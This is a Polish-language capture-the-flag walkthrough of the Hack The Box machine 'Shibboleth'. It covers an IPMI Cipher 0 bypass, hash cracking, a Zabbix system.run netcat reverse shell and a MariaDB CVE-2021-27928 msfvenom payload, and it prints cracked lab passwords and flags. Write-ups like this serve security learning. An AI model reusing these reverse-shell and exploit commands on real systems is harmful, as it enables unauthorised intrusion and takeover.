Shibboleth - 25.11.2021


NMap

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -T4 -p- 10.10.11.124  
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-25 22:50 CET
Nmap scan report for shibboleth.htb (10.10.11.124)
Host is up (0.059s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: FlexStart Bootstra

Mamy otwarty tylko jeden port - 80 HTTP.


FeroxBuster

feroxbuster -u http://shibboleth.htb -w /opt/SecLists/Discovery/Web-Content/common.txt -t 50 -x html php -s 200 301 302

──────────────────────────────────────────────────                                                                                                           
301        9l       28w      317c http://shibboleth.htb/assets                                                                                               
200      426l     1341w    19196c http://shibboleth.htb/blog.html                                                                                            
301        9l       28w      316c http://shibboleth.htb/forms                                                                                                
301        9l       28w      321c http://shibboleth.htb/assets/css                                                                                           
200     1323l     4114w    59474c http://shibboleth.htb/index.html                                                                                           
301        9l       28w      321c http://shibboleth.htb/assets/img                                                                                           
200        1l        8w       44c http://shibboleth.htb/forms/contact.php                                                                                    
301        9l       28w      320c http://shibboleth.htb/assets/js                                                                                            
301        9l       28w      326c http://shibboleth.htb/assets/img/blog                                                                                      
301        9l       28w      329c http://shibboleth.htb/assets/img/clients                                                                                   
301        9l       28w      324c http://shibboleth.htb/assets/vendor
301        9l       28w      331c http://shibboleth.htb/assets/img/portfolio
301        9l       28w      326c http://shibboleth.htb/assets/img/team
301        9l       28w      334c http://shibboleth.htb/assets/img/testimonials
[####################] - 3m    169092/169092  0s      found:14      errors:2557   
[####################] - 55s    14091/14091   257/s   http://shibboleth.htb
[####################] - 1m     14091/14091   199/s   http://shibboleth.htb/assets
[####################] - 1m     14091/14091   160/s   http://shibboleth.htb/forms
[####################] - 1m     14091/14091   140/s   http://shibboleth.htb/assets/css
[####################] - 1m     14091/14091   126/s   http://shibboleth.htb/assets/img
[####################] - 1m     14091/14091   132/s   http://shibboleth.htb/assets/js
[####################] - 2m     14091/14091   115/s   http://shibboleth.htb/assets/img/blog
[####################] - 1m     14091/14091   130/s   http://shibboleth.htb/assets/img/clients
[####################] - 1m     14091/14091   135/s   http://shibboleth.htb/assets/vendor
[####################] - 1m     14091/14091   157/s   http://shibboleth.htb/assets/img/portfolio
[####################] - 1m     14091/14091   190/s   http://shibboleth.htb/assets/img/team
[####################] - 1m     14091/14091   198/s   http://shibboleth.htb/assets/img/testimonials

Mamy sporo folderów, ale najpierw sprawdzę jak wygląda strona główna.


Strona główna

Przechodzimy na stronę główną.

Wiadomo, że jest to Bootstrap. Ustaliłem również, że na motywie FlexStart - v1.2.0.

Postanowiłem sprawdzić foldery. Gdy wszedłem na /forms zauważyłem ciekawy Index of.

Mamy dwa pliki.

readme.txt

Fully working PHP/AJAX contact form script is available in the pro version of the template.
You can buy it from: https://bootstrapmade.com/flexstart-bootstrap-startup-template/

contact.php

Unable to load the "PHP Email Form" Library!

Nie jest to nic ciekawego na ten moment.


Subdomain enumeration

gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://shibboleth.htb -o subdomains.txt

┌──(kali㉿kali)-[~/Desktop/shibboleth]
└─$ cat subdomains.txt | grep 200
Found: monitor.shibboleth.htb (Status: 200) [Size: 3686]
Found: monitoring.shibboleth.htb (Status: 200) [Size: 3686]
Found: zabbix.shibboleth.htb (Status: 200) [Size: 3686]
Found: 2009.shibboleth.htb (Status: 302) [Size: 291]
Found: 2008.shibboleth.htb (Status: 302) [Size: 291]

Mamy kilka subdomen. Wszystkie 3 dodałem do /etc/hosts.


Subdomain zabbix

Zacząłem od sprawdzania zabbix. Warto tutaj wspomnieć, że zabbix to narzędzie oprogramowania typu open source do monitorowania infrastruktury IT, takiej jak sieci, serwery, maszyny wirtualne i usługi w chmurze.

W kodzie źródłowym znalazłem odnośnik, który może sugerować, że to Zabbix 5.0.

Możliwe, że jest nawet jakiś exploit na tą wersje.

Niestety, exploit jest Authenticated, czyli nie użyjemy go bez danych logowania.


Ponowny nmap

Jak się okazało skanowanie nmapem nie ukazało wszystkich portów. Jest jeszcze jeden port UDP, który jest otwarty. Oto nauka na przyszłość, aby przeprowadzać także skany UDP.

Skan nmap po portach UDP

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU 10.10.11.124 -v                                                                                                                                                                                                     130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-29 16:20 CET
Initiating Ping Scan at 16:20
Scanning 10.10.11.124 [4 ports]
Completed Ping Scan at 16:20, 0.00s elapsed (1 total hosts)
Initiating UDP Scan at 16:20
Scanning shibboleth.htb (10.10.11.124) [1000 ports]
Discovered open port 623/udp on 10.10.11.124
Completed UDP Scan at 16:20, 4.70s elapsed (1000 total ports)
Nmap scan report for shibboleth.htb (10.10.11.124)
Host is up (0.015s latency).
Not shown: 999 open|filtered ports
PORT    STATE SERVICE
623/udp open  asf-rmcp

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4.84 seconds
           Raw packets sent: 2007 (91.767KB) | Rcvd: 7 (284B)

Szybki research o 623/udp open asf-rmcp doprowadził mnie do artykułu 623-udp-ipmi.

Scan usługi na Metasploit auxiliary/scanner/ipmi/ipmi_version

[+] 10.10.11.124:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)

Co oznacza, że jest to wersja 2.0, z artykułu powyżej wynika, że można pozyskać hashe i nazwy użytkowników używając modułu scanner/ipmi/ipmi_dumphashes.

[+] 10.10.11.124:623 - IPMI - Hash found: Administrator:5159ea5d820100001b33743d86c539516a5b8e058377b2f114a0cd0acc976df16cd443adb8eac06fa123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:dcc9b2f4db67b8e774dc0c59d1d90ee141a2bb86

Nie udało zcrackować się tego hasha SHA-1. Były to próby słownikiem rockyou.txt. Natomiast jest tutaj podatność IPMI Authentication Bypass via Cipher 0 (artykuł powyżej).

Sprawdziłem użytkowników.

┌──(kali㉿kali)-[~/Desktop/shibboleth]                                                                                                                       
└─$ ipmitool -I lanplus -C 0 -H 10.10.11.124 -U Administrator -P root user list #Use Cipher 0 to dump a list of users
ID  Name             Callin  Link Auth  IPMI Msg   Channel Priv Limit                                                                                        
1                    true    false      false      USER                                                                                                      
2   Administrator    true    false      true       USER                                                                                                      
3                    true    false      false      Unknown (0x00)

Następnie zmieniłem hasło usera od id 2.

┌──(kali㉿kali)-[~/Desktop/shibboleth]
└─$ ipmitool -I lanplus -C 0 -H 10.10.11.124 -U Administrator -P root user set password 2 abc123 #Change the password of root
Set User Password command successful (user 2)

John The Ripper

Po ponownym sprawdzeniu jednak da się zbruteforce’ować to hasło.

┌──(kali㉿kali)-[~]
└─$ john yes --wordlist=/usr/share/wordlists/rockyou.txt      
Using default input encoding: UTF-8
Loaded 1 password hash (RAKP, IPMI 2.0 RAKP (RMCP+) [HMAC-SHA1 256/256 AVX2 8x])
Press 'q' or Ctrl-C to abort, almost any other key for status
ilovepumkinpie1  (10.10.11.124 Administrator)
1g 0:00:00:02 DONE (2021-11-29 20:36) 0.4854g/s 3589Kp/s 3589Kc/s 3589KC/s iloveqmc..ilovepino
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Zatem mamy pewne dane logowania: Administrator:ilovepumkinpie1.

Hasło faktycznie pasuje do Zabbixa.


Payload

Tutaj długo szukałem różnych rozwiązań i możliwości. Po pomocy jednego z użytkowników forum znalazłem, że należały stworzyć nowy Item, gdzie można wykonać określoną komendę.

system.run[rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.156 9001 >/tmp/f &,nowait]

Nasłuchiwanie na porcie 9001, otrzymujemy shell.


User zabbix

Z tego poziomu jeszcze nie możemy podejrzeć flagi user.txt.

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:114::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
zabbix:x:110:118::/var/lib/zabbix/:/usr/sbin/nologin
Debian-snmp:x:111:119::/var/lib/snmp:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false

Widać, że jest użytkownik ipmi-svc, dla niego spróbowałem wcześniejsze hasło z Zabbixa. Okazało się poprawne.

Zatem:

su ipmi-svc
ilovepumkinpie1

user.txt

d8442cbba2b67fe3c65924dea8414603


Privilege Escalation

Zacząłem od sprawdzenia prostych rzeczy takich jak sudo -l, grupy. Sprawdziłem również netstat, widać, że na maszynie mamy prawdopodobnie MySQL.

netstat -an
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN                                                                                                                                                                  
tcp        0      0 0.0.0.0:10050           0.0.0.0:*               LISTEN                                                                                                                                                                  
tcp        0      0 0.0.0.0:10051           0.0.0.0:*               LISTEN                                                                                                                                                                  
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN

LinPEAS

Po skończonym skanie, dostrzegłem specyficzną linię w podpunkcie z hasłami. Wygląda to na jakiś plik konfiguracyjny Zabbixa.

╔══════════╣ Finding passwords inside key folders (limit 70) - no PHP files
...
/etc/zabbix/zabbix_server.conf:DBPassword=bloooarskybluh
...

Plik okazał się dosyć spory, wobec czego użyłem komendy grep z wyszukaniem linii z hasłem powyżej oraz załączeniem 10 linii w dół oraz w górę.

cat /etc/zabbix/zabbix_server.conf | grep -A10 -B10 bloooarskybluh 
<zabbix_server.conf | grep -A10 -B10 bloooarskybluh 
# DBUser=

DBUser=zabbix

### Option: DBPassword
#       Database password.
#       Comment this line if no password is used.
#
# Mandatory: no
# Default:
DBPassword=bloooarskybluh

### Option: DBSocket
#       Path to MySQL socket.
#
# Mandatory: no
# Default:
# DBSocket=

### Option: DBPort
#       Database port when not using local socket.

Teraz widać pewne dane dostępowe:

zabbix:bloooarskybluh

Mamy login i hasło, spróbowałem użyć ich do zalogowania się na bazę danych, z powodzeniem.


MariaDB

Teraz kilka komend, by odnaleźć jakieś ciekawe informacje w bazie

SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| zabbix             |
+--------------------+

USE zabbix;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

SELECT * FROM users;
+--------+---------------+--------------+---------------+--------------------------------------------------------------+-----+-----------+------------+-------+---------+------+------------+----------------+--------------+---------------+---------------+
| userid | alias         | name         | surname       | passwd                                                       | url | autologin | autologout | lang  | refresh | type | theme      | attempt_failed | attempt_ip   | attempt_clock | rows_per_page |
+--------+---------------+--------------+---------------+--------------------------------------------------------------+-----+-----------+------------+-------+---------+------+------------+----------------+--------------+---------------+---------------+
|      1 | Admin         | Zabbix       | Administrator | $2y$10$L9tjKByfruByB.BaTQJz/epcbDQta4uRM/KySxSZTwZkMGuKTPPT2 |     |         0 | 0          | en_GB | 60s     |    3 | dark-theme |              9 | 10.10.14.141 |    1639337581 |            50 |
|      2 | guest         |              |               | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 |     |         0 | 15m        | en_GB | 30s     |    1 | default    |              0 |              |             0 |            50 |
|      3 | Administrator | IPMI Service | Account       | $2y$10$FhkN5OCLQjs3d6C.KtQgdeCc485jKBWPW4igFVEgtIP3jneaN7GQe |     |         0 | 0          | en_GB | 60s     |    2 | default    |              0 |              |             0 |            50 |
+--------+---------------+--------------+---------------+--------------------------------------------------------------+-----+-----------+------------+-------+---------+------+------------+----------------+--------------+---------------+---------------+

Niestety znalezione w bazie hashe nie dają się złamać. Zdaje się, że jest to ślepa uliczka.


Linux Exploit Suggester

Postanowiłem sprawdzić maszynę pod kątem jakichś statycznych podatności. Użyłem do tego Linux Exploit Suggester. Efekt skanu:

hostnamectl
   Static hostname: shibboleth
         Icon name: computer-vm
           Chassis: vm
        Machine ID: 13612108a6894baca63a2e86f2062c0e
           Boot ID: 099c4638771a489b8f976be6db0d8087
    Virtualization: vmware
  Operating System: Ubuntu 20.04.1 LTS
            Kernel: Linux 5.4.0-89-generic
      Architecture: x86-64

Z racji, że jest to Ubuntu, postanowiłem sprawdzić najpierw pierwszą podatność, czyli CVE-2021-3156.

Jak się okazało poprzez sudoedit -s / można sprawdzić tą podatność. W tym przypadku sudo nie jest podatne. Zatem ponownie ślepa uliczka.


Powrót do MariaDB

Na tym etapie utknąłem i musiałem spytać się jednego z użytkowników o wskazówkę. Jak się okazało, już chwilę wcześniej byłem na drodze do roota. Chodzi o wersję MariaDB oraz podatność CVE-2021-27928.

Server version: 10.3.25-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Wersja 10.3.25 MariaDB jest podatna na Command Injection.

https://packetstormsecurity.com/files/162177/MariaDB-10.2-Command-Execution.html

Zgodnie z Proof of Concept stworzyłem najpierw plik w msfvenom.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.174 LPORT=9002 -f elf-so -o test.so

wget http://10.10.14.174/test.so
mysql -u zabbix -p -e 'SET GLOBAL wsrep_provider="/tmp/pp/test.so";'
bloooarskybluh

I podczas nasłuchiwania na porcie 9002 otrzymujemy połączenie.

root.txt

9bdfeddc05b1e2c6078d24b9c4a8f756